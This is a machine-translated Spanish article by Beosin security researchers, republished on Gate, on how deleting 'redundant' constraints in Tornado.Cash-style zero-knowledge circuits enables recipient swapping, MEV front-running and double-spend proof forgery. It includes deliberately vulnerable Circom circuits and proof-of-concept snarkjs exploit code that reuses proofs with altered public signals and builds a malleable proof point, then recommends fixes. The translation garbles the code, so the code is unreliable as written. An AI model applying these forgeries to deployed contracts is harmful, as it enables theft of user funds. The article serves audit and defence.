Una lectura obligada para los participantes en el proyecto ZKP: Auditoría de circuito: ¿Son realmente redundantes las restricciones redundantes?

Autor de este artículo: Saya & Bryce, expertos en investigación de seguridad de Beosin

1. Introducción

El proyecto ZKP (Zero-Knowledge Proof) consta principalmente de dos partes: circuitos fuera de la cadena y contratos dentro de la cadena. La parte del circuito implica la abstracción restrictiva de la lógica empresarial y el conocimiento básico complejo de criptografía, por lo que esta parte es difícil para el lado del proyecto. implementar, y también es Dificultad para auditar al personal de seguridad. ** El siguiente es un caso de seguridad que las partes del proyecto ignoran fácilmente: "restricciones redundantes". El propósito es recordar a las partes del proyecto y a los usuarios que presten atención a los riesgos de seguridad relacionados. . **

2. ¿Se pueden eliminar las restricciones redundantes?

Al auditar proyectos ZKP, generalmente verá las siguientes restricciones extrañas, pero muchas partes del proyecto en realidad no comprenden el significado específico: Para reducir la dificultad de la reutilización de circuitos y ahorrar el consumo de computación fuera de la cadena, es posible que se eliminen algunas restricciones, por lo que causando problemas de seguridad:

Comparamos la cantidad de restricciones generadas antes y después de eliminar el código anterior y descubrimos que la presencia o ausencia de las restricciones anteriores en un proyecto real tiene poco impacto en la cantidad total de restricciones del proyecto, porque las partes del proyecto las ignoran fácilmente. optimización automática.

El propósito real del circuito anterior es simplemente agregar un dato a la prueba. Tomando Tornado.Cash como ejemplo, los datos adicionales incluyen: dirección del receptor, dirección del retransmisor, tarifa de manejo, etc., porque estas señales no afectan el cálculo real del circuito posterior., por lo que puede causar confusión entre otras partes del proyecto, eliminándolas del circuito, lo que resulta en el robo de las transacciones de algunos usuarios.

A continuación se tomará el proyecto de transacción privada simple Tornado.Cash como ejemplo para presentar este ataque. Este artículo elimina las señales relevantes y las restricciones de información adicional en el circuito y es el siguiente:

incluya "../../../../node_modules/circomlib/circuits/bitify.circom"; incluir "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { anulador de entrada de señal; secreto de entrada de señal; compromiso de salida de señal; // salida de señal nullifierHash; compromiso del componenteHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248); nullifierBits.in <== anulador; secretBits.in <== secreto; para (i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; compromisoHasher.in [i] <== nullifierBits.out [i] ; compromisoHasher.in[i + 248] <== secretBits.out [i] ; } compromiso <== compromisoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Verifica que el compromiso que corresponde al secreto y al anulador dados esté incluido en el árbol merkle de depositstemplate Withdraw(levels) { signal input root; // entrada de señal nullifierHash; compromiso de salida de señal; // destinatario de entrada de señal; // no participa en ningún cálculo // retransmisor de entrada de señal; // no participar en ningún cálculo // tarifa de entrada de señal; // no participar en ningún cálculo // devolución de señal de entrada; // no participa en ningún cálculo nulificador de entrada de señal; secreto de entrada de señal; // elementos de ruta de entrada de señal [levels] ; // índices de ruta de entrada de señal [levels] ; hasher de componente = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== secreto; compromiso <== hasher.compromiso; // hasher.nullifierHash === nullifierHash; // árbol de componentes = MerkleTreeChecker(niveles); // árbol.hoja <== hasher.commitment; // árbol.raíz <== raíz; // para ( i = 0; i < niveles; i++) { // tree.pathElements [i] <== elementos de ruta [i] ; // árbol.pathIndices [i] <== índices de ruta [i] ; // } // Agregue señales ocultas para asegurarse de que la manipulación del destinatario o la tarifa invalide la prueba de sarcasmo // Lo más probable es que no sea necesario, pero es mejor mantenerse en el lado seguro y solo se necesitan 2 restricciones // Los cuadrados son utilizado para evitar que el optimizador elimine esas restricciones // receptor de señalCuadrado; // tarifa de señalCuadrado; // retransmisor de señalCuadrado; // señal reembolsoCuadrado; // destinatarioCuadrado <== destinatario * destinatario; // tarifaCuadrado <== tarifa * tarifa; // retransmisorCuadrado <== retransmisor * retransmisor; // reembolsoCuadrado <== reembolso * reembolso;}componente principal = Retirar(20);

Para facilitar la comprensión, este artículo elimina las partes relacionadas con la verificación de Merkle Tree y nullifierHash en el circuito, y también anota la dirección del beneficiario y otra información. En el contrato en cadena generado por este circuito, este artículo utiliza dos direcciones diferentes para verificar al mismo tiempo. Se puede encontrar que ambas direcciones diferentes pueden pasar la verificación:

Pero cuando se agrega el siguiente código a las restricciones del circuito, se puede encontrar que solo la dirección del destinatario establecida en el circuito puede pasar la verificación:

receptor de entrada de señal; // no participar en ningún cómputorelé de entrada de señal; // no participar en ninguna tarifa de entrada de señales de cálculo; // no participar en ningún reembolso de entrada de señal de cálculo; // no participa en ningún cálculoreceptor de señalCuadrado;tarifa de señalCuadrado;retransmisor de señalCuadrado;reembolso de señalCuadrado;destinatarioCuadrado <== destinatario * destinatario;destinatarioCuadrado <== destinatario * destinatario;tarifaCuadrado <== tarifa * tarifa;retransmisorCuadrado <== retransmisor * retransmisor ;reembolsoCuadrado <== reembolso * reembolso;

Por lo tanto, cuando la prueba no está vinculada al destinatario, se puede encontrar que la dirección del destinatario se puede cambiar a voluntad y se puede verificar la prueba zk. Luego, cuando el usuario quiera retirar dinero del grupo del proyecto, puede ser robado por MEV. El siguiente es un ejemplo de un ataque frontal MEV en una DApp de comercio de privacidad:

3. Forma incorrecta de escribir restricciones redundantes

Además, hay dos errores comunes al escribir en el circuito, que pueden provocar ataques de doble gasto más graves: uno es que la señal de entrada está configurada en el circuito, pero la señal no está restringida, y el otro es que De las múltiples restricciones de la señal existe una dependencia lineal entre ellas. La siguiente figura muestra los procesos de cálculo comunes de prueba y verificación del algoritmo Groth16:

Prover genera prueba Prueba π = ( [A] 1, [C] 1, [B] 2):

Después de que el Verificador recibe la prueba π[A, B, C], calcula la siguiente ecuación de verificación. Si se establece, la verificación pasa, de lo contrario la verificación falla:

3.1 La señal no participa en restricciones

Si una determinada señal pública Zi no tiene ninguna restricción en el circuito, entonces, para su restricción j, el valor de la siguiente fórmula es siempre 0 (donde rj es el valor de desafío aleatorio que Verifier necesita que Prover calcule):

Qh5M1gWNsintP7DUl6P0cDEHIdcnSchiB4YM50XY.png

Al mismo tiempo, esto significa que para Zi, cualquier x tiene la siguiente fórmula:

Por lo tanto, la siguiente expresión en la ecuación de verificación tiene para la señal x:

Dado que la ecuación de verificación es la siguiente:

Se puede encontrar que no importa el valor que tome Zi, el resultado de este cálculo siempre es 0.

Este artículo modifica el circuito Tornado.Cash de la siguiente manera. Puede ver que el circuito tiene 1 destinatario de señal de entrada pública y 3 señales privadas raíz, anulador y secreto. El destinatario no tiene ninguna restricción en el circuito:

plantilla Retirar(niveles) { raíz de entrada de señal; compromiso de salida de señal; receptor de entrada de señal; // no participa en ningún cálculo nulificador de entrada de señal; secreto de entrada de señal; hasher de componente = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== secreto; compromiso <== hasher.commitment;}componente principal {público [recipient] }= Retirar(20);

Este artículo se probará en la última versión 0.7.0 de la biblioteca snarkjs y su código de restricción implícito se eliminará para demostrar el efecto de ataque de doble gasto cuando no hay señal de restricción en el circuito. El código exp principal es el siguiente:

función asíncrona groth16_exp() { let inputA = "7"; dejar entradaB = "11"; dejar entradaC = "9"; dejar inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; aguarde nuevaZKey (retirar2.r1cs, powersOfTau28_hez_final_14.ptau, retire2_0000.zkey,) aguarde baliza (retire2_0000.zkey, retire2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f1011121314151 61718191a1b1c1d1e1f", 10, ) clave de verificación const = espera exportVerificationKey (withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { prueba, publicSignals } = await groth16FullProve({ raíz: inputA, anulador: inputB, secreto: inputC, destinatario: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") verificar (publicSignals, prueba); señales públicas [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verificar(publicSignals, prueba);}

Puedes ver que ambas Pruebas generadas pasaron la verificación:

3.2 Restricciones de dependencia lineal

gYomF7W3WdcnrQ3TiikO2QxX1fQgZ1mjl9o9erzo.png

plantilla Retirar(niveles) { raíz de entrada de señal; // entrada de señal nullifierHash; compromiso de salida de señal; receptor de entrada de señal; // no participa en ningún cálculo del relé de entrada de señal; // no participar en ningún cálculo tarifa de entrada de señal; // no participar en ningún cálculo // devolución de señal de entrada; // no participa en ningún cálculo nulificador de entrada de señal; secreto de entrada de señal; // elementos de ruta de entrada de señal [levels] ; // índices de ruta de entrada de señal [levels] ; hasher de componente = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== secreto; compromiso <== hasher.compromiso; entrada de señal Cuadrado; // destinatarioCuadrado <== destinatario * destinatario; // tarifaCuadrado <== tarifa * tarifa; // retransmisorCuadrado <== retransmisor * retransmisor; // reembolsoCuadrado <== reembolso * reembolso; 35 * Cuadrado === (2destinatario + 2retransmisor + tarifa + 2) * (retransmisor + 4);}componente principal {público [destinatario,Cuadrado]}= Retirar(20);

El circuito anterior puede provocar un ataque de doble gasto. El código central de experiencia específico es el siguiente:

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, secciones: seccionesZKey } = await readBinFile("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = espera readSection(fdZKey, seccionesZKey, 8) fdZKey.close() const curva = espera buildBn128(); const Fr = curva.Fr; constante G1 = curva.G1; const new_pi = nuevo Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const match_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, original_pub_input, Fr.n8); const sGIn = curva.G1.F.n8 * 2 const match_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( factor_lineal, Fr.sub(matching_pub, new_pi)); const p = curva de espera.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const maleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}

Después de modificar parte del código de la biblioteca, lo probamos en la versión 0.7.0 de snarkjs y los resultados mostraron que las siguientes pruebas falsas podían pasar la verificación:

  • publicsingnal1 + prueba1

  • publicsingnal2 + prueba2

4 correcciones

4.1 código de biblioteca zk

Actualmente, algunas bibliotecas zk populares, como la biblioteca snarkjs, agregarán implícitamente algunas restricciones al circuito, como la restricción más simple:

La fórmula anterior siempre es matemáticamente verdadera, por lo que no importa cuál sea el valor real de la señal y cumpla con las restricciones, el código de la biblioteca puede agregarla implícita y uniformemente al circuito durante la configuración. Además, las restricciones cuadradas en la primera sección son utilizado en el circuito Es un enfoque más seguro. Por ejemplo, snarkjs agrega implícitamente las siguientes restricciones al generar zkey durante la configuración:

4.2 Circuito

Cuando la parte del proyecto diseña el circuito, dado que la biblioteca zk de terceros utilizada puede no agregar restricciones adicionales durante la configuración o compilación,** recomendamos que la parte del proyecto intente garantizar la integridad de las restricciones en el nivel de diseño del circuito y controlar estrictamente Todas las señales están legalmente restringidas para garantizar la seguridad, como la restricción cuadrada que se muestra anteriormente. **

Ver originales
Esta página puede contener contenido de terceros, que se proporciona únicamente con fines informativos (sin garantías ni declaraciones) y no debe considerarse como un respaldo por parte de Gate a las opiniones expresadas ni como asesoramiento financiero o profesional. Consulte el Descargo de responsabilidad para obtener más detalles.
  • Recompensa
  • Comentar
  • Compartir
Comentar
0/400
Sin comentarios
Opere con criptomonedas en cualquier momento y lugar
qrCode
Escanee para descargar la aplicación Gate
Comunidad
Español
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)